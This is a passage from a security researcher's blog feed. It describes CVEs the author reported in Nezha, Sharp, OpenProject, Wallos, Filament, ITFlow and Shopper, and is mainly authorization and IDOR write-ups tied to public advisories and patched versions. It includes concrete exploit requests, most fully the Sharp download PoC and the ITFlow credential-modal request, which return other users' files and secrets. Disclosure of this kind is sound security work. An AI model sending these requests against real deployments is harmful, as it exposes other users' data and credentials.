That delayed resolution is what made the issue work.

## The bug

Nezha already blocked the obvious attack.

If the attacker tried to bind an **existing foreign** DDNS profile directly, the permission check denied it.

That is the part that makes this bug worth talking about.

The normal boundary existed. It just had a hole in a less obvious place.

The server update path only rejected DDNS profile IDs that already existed and belonged to someone else. If the submitted ID did **not** exist yet, it was skipped and still persisted into the raw server state.

Later on, the DDNS worker trusted that stored ID, resolved it by ID, and dispatched a DDNS update without revalidating ownership against the server owner.

That means a fake reference could sit there quietly until another user eventually created the real object behind it.

At that point, the stale attacker-controlled reference turned into a live cross-user binding.

## What the worker actually did

According to the advisory, the validated worker path combined:

- the victim DDNS profile ID and owner
- the victim profile provider type
- victim profile fields such as domains, access ID, access secret, and retry policy
- attacker server context, including attacker-controlled override domains

That is important because this was not just &quot;the worker can look up the wrong object.&quot;

The worker actually **used** the victim profile configuration when processing the attacker server.

## What I did not claim

The advisory was clear about the limits.

What was **not** confirmed:

- direct credential disclosure to the attacker
- guaranteed external DNS modification across every provider
- account takeover

The credentials stayed server-side in the validated path.

The downstream impact depended on the provider configuration and on what the victim provider account was allowed to update.

So this is not a &quot;full compromise&quot; bug. It is an authorization flaw in a deferred worker path with real downstream effects.

## Severity and versions

The public advisory lists:

- CVE: `CVE-2026-53521`
- Severity: `Moderate`
- CVSS: `6.4`
- Vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:L`
- Affected: `&gt;= 2.0.14, &lt; 2.1.0`
- Patched: `2.1.0`

The advisory also notes that the issue was confirmed on:

- Nezha `v2.0.14`
- commit `8b5e382fe217107c7b777ea9c6b4bc3d2e156202`

## The practical catch

This bug was not frictionless.

The attacker had to predict or prebind future DDNS profile IDs, which limits severity.

But that does not make it fake.

The unresolved IDs were stored, survived reload, and became active later if the predicted ID got assigned to another user&apos;s new DDNS profile.

That is enough for a real second-order authz issue.

## Reference

- [GHSA-39g2-8x68-pmx8 / CVE-2026-53521](https://github.com/nezhahq/nezha/security/advisories/GHSA-39g2-8x68-pmx8)</content:encoded><category>vulnerability</category><category>cve</category><category>web exploitation</category><category>authorization</category><author>b4r</author></item><item><title>another sharp authz bug, this time in quick creation</title><link>https://baradika.web.id/blog/sharp-cve-2026-53634/</link><guid isPermaLink="true">https://baradika.web.id/blog/sharp-cve-2026-53634/</guid><description>cve-2026-53634 let authenticated sharp users bypass create authorization through quick creation command endpoints</description><pubDate>Wed, 10 Jun 2026 00:00:00 GMT</pubDate><content:encoded>## TL;DR

I ended up with another **Sharp** CVE: **CVE-2026-53634**.

This one was about the **Quick Creation Command** feature.

The vulnerable part was simple:

- the create endpoint did not enforce authorization
- the store endpoint did not enforce authorization either

So an authenticated Sharp user without create permission on a given entity could still reach the quick creation flow for that entity, as long as a `quickCreationCommandHandler()` had been configured for it.

That meant they could:

- retrieve the creation form
- and in some cases submit new records they should never have been allowed to create

## Why this one mattered

The authorization check was just missing where it actually mattered.

From the outside, everything may still look permission-aware because the app has a create policy, the entity exists, and the user is inside an authenticated admin context.

But once one feature path forgets to apply the same rule, the whole permission boundary becomes fake for that path.

That is exactly what happened here.

## The bug

According to the advisory, the vulnerable surface was the **Quick Creation Command** feature.

The quick creation endpoints accepted requests from authenticated Sharp users, but did not verify whether the caller actually had permission to create that entity.

So if an entity exposed a quick creation handler, a user who lacked normal create permission could still hit those endpoints directly and bypass the authorization layer.

The UI is not the main story here. The real issue is that the backend route path itself forgot to ask the authorization question.

The advisory did not publish controller code, but it did pin the vulnerable shape closely enough:

```php
quickCreationCommandHandler()
create endpoint
store endpoint
```

That was the useful part here. If the entity had quick creation enabled, both steps in the flow were reachable without the expected create check.

## What an attacker gets

The public impact is straightforward:

- unauthorized access to the quick creation form
- unauthorized record creation for entities wired into the quick creation command flow

That makes this primarily an **integrity** issue, not a confidentiality bug.

The public advisory reflects that with:

- Severity: `Moderate`
- CVSS: `4.3`
- Vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N`

## Affected versions

The advisory lists:

- Package: `code16/sharp`
- Affected: `&gt;= 9.0.0, &lt; 9.22.3`
- Patched: `9.22.3`
- CVE: `CVE-2026-53634`

## Workaround

If upgrading is not immediately possible, the advisory recommends removing or disabling `quickCreationCommandHandler()` on entity lists where unauthorized access would matter.

That does not fix the root cause, but it does reduce the exposed surface until the package is upgraded.

## Reference

- [GHSA-vmwx-m75v-qvch / CVE-2026-53634](https://github.com/code16/sharp/security/advisories/GHSA-vmwx-m75v-qvch)</content:encoded><category>vulnerability</category><category>cve</category><category>web exploitation</category><category>laravel</category><author>b4r</author></item><item><title>an idor in openproject through meeting agenda items</title><link>https://baradika.web.id/blog/openproject-cve-2026-49355/</link><guid isPermaLink="true">https://baradika.web.id/blog/openproject-cve-2026-49355/</guid><description>cve-2026-49355 exposed private work package data through the single meeting agenda item api in openproject</description><pubDate>Mon, 08 Jun 2026 00:00:00 GMT</pubDate><content:encoded>## TL;DR

I got another CVE, this time in **OpenProject**: **CVE-2026-49355**.

The bug was in:

```http
GET /api/v3/meetings/:meeting_id/agenda_items/:agenda_item_id
```

That endpoint could disclose private work package data from a linked work package that belonged to a private or otherwise inaccessible project.

So this was not some broad auth bypass across the whole app. It was narrower than that.

But it was still a real cross-boundary leak, and that was enough.

## The bug

What made this one nice is that the issue sat in a place that looked pretty normal at first.

The request was for a **meeting agenda item**, not directly for the private work package itself.

That is exactly why it matters.

The API path looked like it was returning one object, but it was actually pulling in linked data from somewhere else. And that linked data was not being scoped tightly enough before it got returned.

So even if the user was not supposed to have access to the private project behind that work package, the single agenda item endpoint still leaked data from it.

That kind of bug is always worth paying attention to:

- direct object access may be blocked
- obvious project-level boundaries may look correct
- but a linked-resource endpoint brings the exposure back in through the side door

## What the impact actually was

According to the advisory, the confirmed issue was **private work package data disclosure**.

So this is primarily a **confidentiality** bug:

- not an integrity bug
- not an availability problem
- not a full system compromise

Just a clean information leak across an authorization boundary.

The public advisory reflects that with:

- Severity: `Moderate`
- CVSS: `4.3`
- Vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N`

That feels about right.

You still need a valid low-privileged authenticated context, but once you have that, the issue is straightforward and the leaked data belongs to a project you were not supposed to access.

## Root cause in one line

The agenda item API trusted the linked work package relationship more than it trusted the caller&apos;s actual access to the linked project.

That is really the whole story.

The bug was not &quot;OpenProject forgot auth exists.&quot;

The bug was that one endpoint exposed data through an object relationship that did not get re-checked strongly enough at the point of read.

## Affected and fixed version

The public advisory lists:

- Affected: `17.4.0`
- Patched: `17.4.1`

The assigned CVE is:

- `CVE-2026-49355`

## Reference

- [GHSA-g387-6rm2-xw88 / CVE-2026-49355](https://github.com/opf/openproject/security/advisories/GHSA-g387-6rm2-xw88)</content:encoded><category>vulnerability</category><category>cve</category><category>web exploitation</category><category>idor</category><author>b4r</author></item><item><title>two wallos cves from the same trust mistake</title><link>https://baradika.web.id/blog/wallos-two-cves/</link><guid isPermaLink="true">https://baradika.web.id/blog/wallos-two-cves/</guid><description>cve-2026-50198 and cve-2026-50199 in wallos both came from cross-user references being accepted first and trusted later</description><pubDate>Fri, 05 Jun 2026 00:00:00 GMT</pubDate><content:encoded>## TL;DR

I picked up two CVEs in **Wallos**:

- `CVE-2026-50198`
- `CVE-2026-50199`

Neither of them was some huge flashy bug. No RCE, no auth bypass, no full account takeover.

But I still liked both of them because they came from the same kind of mistake: user-controlled state was accepted in one place, then trusted later without being tied back to the right user.

That kind of bug is easy to underestimate until you actually trace what the application does with the foreign reference.

## The two bugs

### CVE-2026-50198

This one was published as:

`Cross-user subscription cost inference via replacement_subscription_id`

The issue was in how Wallos handled `replacement_subscription_id` on inactive subscriptions.

An authenticated normal user could edit **their own** inactive subscription and point `replacement_subscription_id` at another user&apos;s subscription ID. The write was accepted. Later, the stats logic dereferenced that foreign ID without scoping the lookup back to the current user.

So this was not direct object disclosure in the usual sense. The app did not suddenly return the victim subscription row in full.

What it did leak was still real: the attacker could infer another user&apos;s **monthly-normalized subscription cost** by watching how their own stats changed after swapping in victim subscription IDs.

That detail mattered because the obvious read path had already been blocked.

According to the advisory:

- direct cross-user subscription reads were denied
- direct writes against the victim subscription row were not confirmed
- the leak only showed up after the attacker stored a foreign `replacement_subscription_id` in their **own** record and waited for the stats logic to consume it

So the bug lived in the gap between &quot;write accepted&quot; and &quot;foreign reference trusted later.&quot;

The advisory was specific enough to show the important lookup boundary:

```sql
SELECT price, currency_id, cycle, frequency
FROM subscriptions
WHERE id = :replacementSubscriptionId
```

And just as important, it called out the missing constraint:

```sql
AND user_id = :userId
```

That missing user scope is what turned an otherwise normal reference lookup into a cross-user leak.

## Why it mattered

The confirmed impact was limited, but not fake.

The attacker could infer financial metadata from another user&apos;s subscriptions without direct read access to that subscription object. That is enough to cross a real tenant boundary, even if the leak is derived rather than raw.

The public advisory lists it as:

- CVE: `CVE-2026-50198`
- Severity: `Moderate`
- CVSS: `4.3`
- Vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N`
- Affected: `4.9.0`
- Patched: `4.9.1`

The write path in the advisory also made the exploit shape easy to follow:

```http
POST /endpoints/subscription/add.php
...
replacement_subscription_id=100
```

That was the whole setup. The attacker stored the foreign reference in their own inactive subscription, and the leak only appeared later when the stats logic consumed it.

## CVE-2026-50199

The second one was published as:

`Cross-user Fixer/API Layer credential consumption in exchange-rate refresh`

This one was cleaner.

`endpoints/currency/update_exchange.php` loaded the first Fixer/API Layer credential **globally**, instead of loading the credential for the authenticated user making the request.

That meant a normal authenticated user with **no provider key of their own** could still trigger exchange-rate refreshes using another user&apos;s stored provider credential.

The raw API key was not returned to the attacker, and that boundary matters.

But the attacker could still:

- trigger outbound provider requests with another user&apos;s stored credential
- consume another user&apos;s provider quota
- update their own exchange-rate data through a credential they did not own

That is the kind of bug that looks &quot;small&quot; if you only care about direct key disclosure, but the authorization failure is still real. Ownership of a secret-backed integration matters even when the secret itself is not printed back in the response.

The advisory made the root cause very blunt:

```sql
SELECT api_key, provider
FROM fixer
```

There was no user scoping in that query. That is what made the endpoint consume another user&apos;s provider row.

And the affected request path itself was tiny:

```http
POST /endpoints/currency/update_exchange.php
force=true
```

The public advisory lists it as:

- CVE: `CVE-2026-50199`
- Severity: `Moderate`
- CVSS: `4.3`
- Vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N`
- Affected: `4.9.0`
- Patched: `4.9.1`

## The shared pattern

Both bugs came from the same broad problem:

- user A&apos;s state was allowed to influence user B&apos;s outcome
- the app trusted a cross-user reference later than it should have
- the normal UI boundaries did not match what the backend actually accepted

`CVE-2026-50198` leaked derived financial data through a foreign subscription reference.

`CVE-2026-50199` let one user spend and use another user&apos;s integration credential indirectly.

Different impact, same smell.

## References

- [GHSA-hggr-v8rm-c6jj / CVE-2026-50198](https://github.com/ellite/Wallos/security/advisories/GHSA-hggr-v8rm-c6jj)
- [GHSA-5wf4-m4hj-rxj5 / CVE-2026-50199](https://github.com/ellite/Wallos/security/advisories/GHSA-5wf4-m4hj-rxj5)</content:encoded><category>vulnerability</category><category>cve</category><category>web exploitation</category><author>b4r</author></item><item><title>a neat little cve in filament</title><link>https://baradika.web.id/blog/filament-cve-2026-48067/</link><guid isPermaLink="true">https://baradika.web.id/blog/filament-cve-2026-48067/</guid><description>cve-2026-48067 came from a scope mismatch in filament AttachAction and AssociateAction</description><pubDate>Mon, 25 May 2026 00:00:00 GMT</pubDate><content:encoded>## TL;DR

I got another CVE, this time in **Filament**: **CVE-2026-48067**.

This one was not loud at all. No RCE, no auth bypass that immediately screams at you, no weird gadget chain. Just a scope mismatch in `AttachAction` and `AssociateAction`.

It is the kind of bug that looks normal from the panel, right up until you stop trusting the UI and start poking the actual request flow.

## The bug

Filament lets developers use `recordSelectOptionsQuery()` to scope what records appear inside the `Select` field for `AttachAction` and `AssociateAction`.

So on the surface, everything looked fine.

The dropdown only showed records that were supposed to be selectable.

The problem was that the built-in validation rule did **not** enforce the exact same scope.

So if a user could trigger `AttachAction` or `AssociateAction`, they could tamper with the Livewire state and submit a record that never should have passed the original scope restriction.

That is really the whole bug:

- the UI was scoped
- the validation was not scoped the same way

And once those two drift apart, the UI stops being a security boundary.

The advisory itself kept the root cause short, and honestly that was enough:

```php
recordSelectOptionsQuery()
AttachAction
AssociateAction
```

That trio is the whole story here. The options query shaped the dropdown, but the built-in validation behind the submitted value did not keep the same boundary.

## Why it matters

This kind of bug is easy to overlook.

At first glance, everything looks scoped correctly:

- the select only shows allowed records
- the action behaves normally in the panel
- the scoping code gives a false sense of safety

But once you treat the request as attacker-controlled, the issue becomes pretty obvious.

If the validation layer is not applying the same restriction, then the filtered dropdown is just presentation. It is not real enforcement.

## What an attacker gets

According to the advisory, a user with permission to trigger `AttachAction` or `AssociateAction` could tamper with the Livewire state and submit a record ID that should have been out of scope.

So this is not really a disclosure bug. It is more of an **integrity** problem.

The public CVSS reflects that pretty well:

- Attack vector: `Network`
- Attack complexity: `Low`
- Privileges required: `Low`
- User interaction: `None`
- Confidentiality: `None`
- Integrity: `High`
- Availability: `None`

Vector:

```text
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
```

## Affected packages and versions

The advisory lists three affected package lines:

- `filament/actions` `&gt;= 4.0.0, &lt; 4.11.3`
- `filament/actions` `&gt;= 5.0.0, &lt; 5.6.3`
- `filament/tables` `&gt;= 3.0.0, &lt; 3.3.50`

Patched versions:

- `filament/actions` `&gt;= 4.11.4`
- `filament/actions` `&gt;= 5.6.4`
- `filament/tables` `&gt;= 3.3.51`

## Fixed version

This issue was patched in:

- `filament/actions` `4.11.4` and `5.6.4`
- `filament/tables` `3.3.51`

The CVE assigned to this advisory is:

- `CVE-2026-48067`

## Reference

- [GHSA-7q3w-xqjw-g3cr / CVE-2026-48067](https://github.com/filamentphp/filament/security/advisories/GHSA-7q3w-xqjw-g3cr)</content:encoded><category>vulnerability</category><category>cve</category><category>web exploitation</category><category>laravel</category><author>b4r</author></item><item><title>cross-tenant credential disclosure in itflow</title><link>https://baradika.web.id/blog/itflow-cve-2026-47755/</link><guid isPermaLink="true">https://baradika.web.id/blog/itflow-cve-2026-47755/</guid><description>cve-2026-47755 let a low-privileged authenticated user pull another client credentials and totp secrets in itflow</description><pubDate>Mon, 25 May 2026 00:00:00 GMT</pubDate><content:encoded>## TL;DR

This one came from **ITFlow** and ended up as **CVE-2026-47755**.

The bug was simple in a very bad way: a low-privileged authenticated agent could request another client&apos;s credential edit modal directly and get back decrypted secrets that should never have been exposed to them.

Not hashed junk. Not partial leakage. Actual useful stuff:

- plaintext passwords
- usernames
- TOTP seeds
- and even live TOTP values through a related endpoint

## The vulnerable endpoint

```http
GET /agent/modals/credential/credential_edit.php?id=&lt;credential_id&gt;
```

According to the advisory, the endpoint only required an authenticated session and then looked up the requested credential directly by ID.

That means the attack path was basically:

1. log in as a low-privileged agent
2. keep the valid session cookies
3. request another tenant&apos;s `credential_id`
4. receive decrypted secrets inside the returned modal HTML

That is about as straightforward as it gets.

The advisory also included the key backend shape behind it:

```sql
SELECT *
FROM credentials
WHERE credential_id = $credential_id
LIMIT 1
```

That tells you exactly why the bug worked. The lookup was direct, and there was no tenant scoping in front of it.

## What was missing

The core problem was object-level authorization.

The advisory explicitly says the endpoint did **not**:

- call `enforceClientAccess()`
- verify that the credential belonged to a client the current user was allowed to access
- stop decrypted secret material from being rendered back into the HTML response

So even though the restricted user was scoped correctly in the visible UI, the modal endpoint ignored that tenant boundary.

The returned modal evidence was also unusually clear. The advisory showed the HTML coming back with fields like:

```html
&lt;input ... name=&quot;password&quot; ... value=&quot;SUPER-SECRET-CLIENT2&quot; ...&gt;
&lt;input ... name=&quot;otp_secret&quot; ... value=&quot;JBSWY3DPEHPK3PXQ&quot; ...&gt;
```

That is the kind of response body that leaves very little room for argument.

## Why the impact is real

This was not just &quot;you can see a name you should not see.&quot;

The returned modal could include:

- credential username
- credential password
- OTP secret

And the advisory also notes a related endpoint that could leak the **live TOTP token** cross-tenant too.

At that point, this is not a cosmetic tenant-isolation issue anymore. It is direct secret disclosure across clients.

## The exploit path

The restricted user could not see Client Two in the normal interface, but could still request `credential_id=2` directly and recover the secret material from the modal response.

That kind of before-and-after is always good evidence:

- normal UI says access is restricted
- direct object request proves the restriction is fake

## Severity and CVSS

The public advisory lists this as **Moderate** with:

```text
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
```

Which makes sense here.

This is an authenticated bug, but once you have the low-privileged session, the exploitation is direct and the confidentiality impact is high.

## Affected version

The advisory lists:

- Package: `itflow-org/itflow`
- Affected: `&lt;= 26.04`
- Patched: `None`

So at the time of the public advisory, there was **no patched version** listed yet.

## Reference

- [GHSA-987x-g5f9-2rpq / CVE-2026-47755](https://github.com/itflow-org/itflow/security/advisories/GHSA-987x-g5f9-2rpq)</content:encoded><category>vulnerability</category><category>cve</category><category>web exploitation</category><category>idor</category><author>b4r</author></item><item><title>six cves in one open-source e-commerce project</title><link>https://baradika.web.id/blog/shopper-six-advisories/</link><guid isPermaLink="true">https://baradika.web.id/blog/shopper-six-advisories/</guid><description>how i reported six shopper cves spanning authorization bypass, privilege escalation, race conditions, idor, and xss</description><pubDate>Fri, 22 May 2026 00:00:00 GMT</pubDate><content:encoded>## TL;DR

I recently got **six CVEs** in **Shopper**, an open-source e-commerce platform built on Laravel.

The useful part was the spread. It was not one bug pattern repeated six times.

In the same codebase, I ended up with:

- authorization bypasses
- RBAC privilege escalation
- discount race conditions
- IDOR
- sensitive data disclosure
- stored XSS

All six were fixed in **`2.8.0`**, so the affected range is basically everything **before `2.8.0`**.

## The six CVEs

| CVE | Severity | Summary |
| --- | --- | --- |
| [CVE-2026-47740](https://github.com/shopperlabs/shopper/security/advisories/GHSA-f946-9qp6-vgch) | High | Missing authorization on order mutation actions in the admin panel allowed low-privilege authenticated users to mutate order state without the required write permissions. |
| [CVE-2026-47741](https://github.com/shopperlabs/shopper/security/advisories/GHSA-9rh9-hf3w-9fgg) | Moderate | A discount race condition allowed silent over-redemption under concurrent checkout pressure, and the per-user usage limit logic was effectively bypassed. |
| [CVE-2026-47742](https://github.com/shopperlabs/shopper/security/advisories/GHSA-h4mp-g9c6-xwph) | Moderate | Product editor sub-form Livewire components accepted unauthorized `store()` actions, so authenticated panel users could modify product data without the required permission. |
| [CVE-2026-47744](https://github.com/shopperlabs/shopper/security/advisories/GHSA-c3qp-2ggw-xjg7) | Critical | Team settings contained authorization defects that let authenticated panel users take over the RBAC system itself. |
| [CVE-2026-47745](https://github.com/shopperlabs/shopper/security/advisories/GHSA-fxqw-97cc-7g5c) | Moderate | Payment methods, currencies, and carriers exposed inline toggles and record actions without proper per-action authorization checks. |
| [CVE-2026-47743](https://github.com/shopperlabs/shopper/security/advisories/GHSA-hr9v-r8r2-hg7j) | High | Multiple admin Livewire issues led to data tampering, sensitive data disclosure, and stored XSS. |

### CVE-2026-47744

This was the standout one for me.

It was not just &quot;one missing check.&quot; It was a team settings issue that let an authenticated panel user get into RBAC territory they were never supposed to control.

According to the advisory, the two main problems were:

- `Settings/Team/Index` missing `mount()` authorization
- `Settings/Team/RolePermission` using a read-only permission to guard write actions

Once I saw that, it was obvious this was not just another admin panel auth bug. If you can mess with team permissions, you are not attacking one feature anymore. You are attacking the permission model itself.

The technical core of that one was easy to summarize:

```php
Settings/Team/Index::mount()
Settings/Team/RolePermission
view_users
manage_users
```

One page skipped the mount-time authorization entirely, and the other one guarded write actions with the wrong permission.

### CVE-2026-47741

This one was fun for a different reason.

It was a **race condition** on discount usage limits, not a simple access control miss.

The kind of bug that is easy to underestimate, because the app still &quot;looks fine&quot; in normal usage. But once you think about concurrent checkout pressure, the whole thing changes. A merchant can silently over-accept discounted orders even though the configured `usage_limit` says otherwise.

There was also a related problem around per-user limits not being counted the way the validation logic expected. So it was not just a race, it was also bad accounting.

There is no flashy exploit chain here. It is broken business logic with real money impact.

The advisory tied that one to the checkout path directly:

```php
CreateOrderFromCartAction::execute
DiscountDetail.total_use
usage_limit
usage_limit_per_user
```

That is the kind of code path I always like to see in a writeup, because it makes the failure mode much more concrete than just saying &quot;coupon race condition.&quot;

### CVE-2026-47743

This one bundled three bug classes together:

- IDOR via unlocked Livewire properties
- plaintext password exposure through a hidden field flow
- stored XSS on product barcode

That is a pretty good example of why I keep an eye on Livewire-heavy admin panels. Once a component starts trusting client-controlled state too much, weird things happen fast.

The stored XSS part was especially nice because it was not buried in some exotic sink. It was sitting on product barcode rendering.

The vulnerable pieces the advisory called out were:

```php
#[Locked]
Customers/Create::store()
DNS1DFacade::getBarcodeHTML()
{!! !!}
```

That bundle is useful because it shows the three separate bug classes without needing to dump the entire component code.

### The rest of the set

The other three CVEs were less dramatic individually, but together they painted a very clear picture:

- `CVE-2026-47740` showed missing authorization on order mutation actions
- `CVE-2026-47742` showed the same kind of trust problem on product editor sub-forms
- `CVE-2026-47745` showed per-action authorization gaps on payment methods, currencies, and carriers

So the pattern was not isolated. It repeated across different admin workflows.

The advisory pages were still specific enough to leave a technical breadcrumb trail:

```php
cancel, markPaid, markComplete, capturePayment
-&gt;visible()
-&gt;authorize()
store()
edit_products
edit_payment_methods
edit_currencies
edit_carriers
```

So even in the &quot;simpler&quot; bugs, you could still see the same repeated smell: action methods and component handlers were present, but the real per-action permission gate was missing or too weak.

That is usually what makes a target really satisfying to audit: not just one lucky bug, but a repeated failure pattern.

## The pattern across the set

This was not six copies of the same bug. It was:

- access control failures
- privilege escalation
- race condition logic bugs
- component state abuse
- data exposure
- XSS

That is the kind of set that makes a target memorable.

## Fixed version

All six advisories were patched in **`2.8.0`**.

So if you are just tracking the affected line for writeup purposes, the clean boundary is:

- affected: versions before `2.8.0`
- patched: `2.8.0`

## CVE mapping

- `CVE-2026-47740` - [GHSA-f946-9qp6-vgch](https://github.com/shopperlabs/shopper/security/advisories/GHSA-f946-9qp6-vgch)
- `CVE-2026-47741` - [GHSA-9rh9-hf3w-9fgg](https://github.com/shopperlabs/shopper/security/advisories/GHSA-9rh9-hf3w-9fgg)
- `CVE-2026-47742` - [GHSA-h4mp-g9c6-xwph](https://github.com/shopperlabs/shopper/security/advisories/GHSA-h4mp-g9c6-xwph)
- `CVE-2026-47743` - [GHSA-hr9v-r8r2-hg7j](https://github.com/shopperlabs/shopper/security/advisories/GHSA-hr9v-r8r2-hg7j)
- `CVE-2026-47744` - [GHSA-c3qp-2ggw-xjg7](https://github.com/shopperlabs/shopper/security/advisories/GHSA-c3qp-2ggw-xjg7)
- `CVE-2026-47745` - [GHSA-fxqw-97cc-7g5c](https://github.com/shopperlabs/shopper/security/advisories/GHSA-fxqw-97cc-7g5c)</content:encoded><category>vulnerability</category><category>advisory</category><category>cve</category><category>web exploitation</category><category>laravel</category><author>b4r</author></item><item><title>my first CVE, CVE-2026-44692</title><link>https://baradika.web.id/blog/sharp-cve-2026-44692/</link><guid isPermaLink="true">https://baradika.web.id/blog/sharp-cve-2026-44692/</guid><description>authenticated sharp users could download unrelated laravel storage objects through the generic download endpoint</description><pubDate>Fri, 08 May 2026 00:00:00 GMT</pubDate><content:encoded>## TL;DR

I found an authorization flaw in **code16/sharp** that was later assigned **CVE-2026-44692**.

Sharp exposes a generic download endpoint that authorizes only the supplied entity instance, but then reads a client-supplied `disk` and `path` from Laravel Storage.

Because the requested storage object is not bound to the authorized entity instance, an authenticated Sharp user who can view one valid record can use that record as an authorization anchor to download unrelated disk-relative storage objects from configured Laravel Storage disks.

In the tested version, `downloads.allowed_disks` defaults to `*`, which allows access to any configured Laravel disk unless the application explicitly restricts it.

The confirmed impact is authenticated disclosure of unrelated storage objects from configured Laravel Storage disks. I did **not** confirm arbitrary host filesystem access outside configured disk roots.

## Affected package

- Package: `code16/sharp`
- Affected versions: versions before `9.22.0`
- Patched version: `9.22.0`
- Tested version: `9.21.1`
- CVE: `CVE-2026-44692`
- Severity: `High`

The tested version was identified from `src/SharpInternalServiceProvider.php:63`.

The checkout I used during testing was not a git repository, so there was no commit hash available.

## CVSS v3 base metrics

| Metric | Value |
| --- | --- |
| Attack vector | Network |
| Attack complexity | Low |
| Privileges required | Low |
| User interaction | None |
| Scope | Changed |
| Confidentiality | High |
| Integrity | None |
| Availability | None |

**Vector:** `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N`

## Affected component

- `src/routes/web.php:63`
- `src/Http/Controllers/Api/DownloadController.php:11-29`
- `src/Config/SharpConfigBuilder.php:119-120`
- `src/SharpInternalServiceProvider.php:225-229`

## Vulnerable endpoint

```http
GET /sharp/{globalFilter}/download/{entityKey}/{instanceId?}
```

At a high level, the endpoint authorizes access to the supplied Sharp entity instance first, but the storage object being downloaded is not tied to that authorized record.

So if the application accepts a valid Sharp record for authorization, and the request can still influence the target `disk` and `path`, the user may retrieve a different object from an allowed storage disk.

## Attacker requirements

The attacker needs:

- an authenticated Sharp session
- view access to at least one valid Sharp entity instance

The attacker does not need access to the storage object being downloaded.

## Root cause

The download endpoint performs authorization only against the provided `entityKey` and `instanceId`.

After the view check succeeds, the controller reads `disk` and `path` directly from the request and returns the object from Laravel Storage.

There is no authorization check that verifies whether the requested disk-relative storage object belongs to the authorized entity instance.

With the default `downloads.allowed_disks = &apos;*&apos;`, the attacker can also select any configured Laravel disk.

## Source-to-sink trace

The vulnerable flow is:

authenticated Sharp user with view access to one valid entity instance  
-&gt; `GET /sharp/{globalFilter}/download/{entityKey}/{instanceId?}`  
-&gt; view authorization check on `entityKey` + `instanceId`  
-&gt; `disk` and `path` read from request query parameters  
-&gt; `Storage::disk($disk)-&gt;get($path)`  
-&gt; response returns the selected storage object

Relevant implementation points:

- the download route is registered in `src/routes/web.php:63`
- Sharp loads its web routes by default through `src/SharpInternalServiceProvider.php:225-229`
- the default download disk policy is `downloads.allowed_disks = &apos;*&apos;` in `src/Config/SharpConfigBuilder.php:119-120`
- `DownloadController` authorizes only `view` on the supplied entity instance
- `disk` and `path` are read from request query parameters
- the response is built from `Storage::disk($disk)-&gt;get($path)`
- no path-to-record binding is enforced before returning the file

The missing security control is a file-level authorization check that binds the requested storage object to the authorized entity instance.

## Runtime validation

I verified the issue at runtime with a framework test that exercised the real Sharp route, middleware stack, authenticated session handling, authorization check, and controller execution. This was not a direct unit invocation of the controller.

The reproducer used:

- Orchestra Testbench with the real Sharp service provider
- a Sharp entity named `posts`
- a per-record view policy
- one authenticated Sharp user
- one authorized record: `posts/1`
- one unauthorized record: `posts/2`
- a `local` disk containing an unrelated object: `private/backups/customers.csv`
- an `archive` disk containing an unrelated object: `secrets.txt`

The test suite passed:

```text
OK (6 tests, 16 assertions)
```

This confirmed the issue was reachable through the real framework route and controller path.

## Confirmed exploit path

The authenticated Sharp user was allowed to view `posts/1`.

That valid record could then be used as the authorization anchor while requesting an unrelated object from the `local` storage disk.

## Proof of concept

```http
GET /sharp/default/download/posts/1?disk=local&amp;path=private/backups/customers.csv HTTP/1.1
Host: target.local
User-Agent: Mozilla/5.0
Cookie: laravel_session=ATTACKER_SESSION
Connection: close
```

### Actual result

The server returned `200 OK` and the contents of the unrelated storage object:

```text
customer_id,email
7,bob@example.test
```

The response also included file download headers, including a content disposition for attachment download.

As supplementary evidence, the same authenticated Sharp user could also read an unrelated object from another configured Laravel disk when `downloads.allowed_disks` remained at its default value:

```http
GET /sharp/default/download/posts/1?disk=archive&amp;path=secrets.txt
```

Result:

```text
200 OK
archive-secret
```

### Expected result

The endpoint should only return storage objects associated with the authorized entity instance, or require a file-level authorization check before returning the object.

## Negative controls

I also verified the following controls:

- invalid `entityKey` returned `404`
- unauthorized `instanceId` returned `403`
- restricting `downloads.allowed_disks` to `[&apos;public&apos;]` caused the same `disk=local` request to return `403`
- path traversal outside the local disk root was not confirmed

## Impact

This is an authenticated cross-record / cross-feature storage object disclosure issue.

A Sharp user with view access to one valid entity instance can download unrelated objects from configured Laravel Storage disks.

In real applications, those disks may contain:

- exports
- backups
- invoices
- internal documents
- uploaded files belonging to other records
- tenant-specific data
- operational or administrative files stored in private application disks

The confirmed impact is limited to configured Laravel Storage disks. I did not confirm arbitrary host filesystem access outside configured disk roots.

## Limitations and assumptions

- The confirmed scope is configured Laravel Storage disks, not arbitrary host filesystem paths.
- Path traversal outside a local disk root was not confirmed.
- Impact depends on sensitive objects existing on configured disks.
- If an application explicitly restricts `downloads.allowed_disks`, exposure can be reduced.
- Disk allowlisting reduces the reachable storage surface, but does not fix the missing per-record file binding.

## Package-level impact

This appears to be a package-level authorization flaw that applications may inherit through Sharp&apos;s default route and controller flow.

A valid record-level view permission can be reused as an authorization anchor for unrelated storage objects. Applications using the generic download endpoint with the default `downloads.allowed_disks = &apos;*&apos;` behavior may expose disk-relative objects from configured Laravel Storage disks unless they add compensating controls.

## Patch

The fix in `9.22.0` uses signed URLs for Sharp-generated download links.

After the patch, changing parameters such as:

- `disk`
- `path`
- `entityKey`
- `instanceId`

invalidates the signature, so the modified request is rejected instead of returning a different storage object.

## Recommended fix

The endpoint should not accept raw client-controlled `disk` and `path` values as the authorization basis for file downloads.

Recommended fixes:

- replace `disk` and `path` query parameters with an opaque server-generated file identifier
- resolve the storage object server-side from the authorized entity instance
- enforce per-record file ownership or binding before returning the object
- keep disk allowlisting, but do not rely on disk allowlisting as the only security control
- prevent cross-disk access unless explicitly required and authorized
- return a handled `403` or `404` for invalid, unbound, or traversal-like paths

A safer design would make the download endpoint derive the storage location from the authorized record or from a server-side file registry, rather than accepting the storage location directly from the request.

## Workarounds

If upgrading is not possible immediately, the practical short-term mitigations are:

- reduce `downloads.allowed_disks` to the smallest set possible
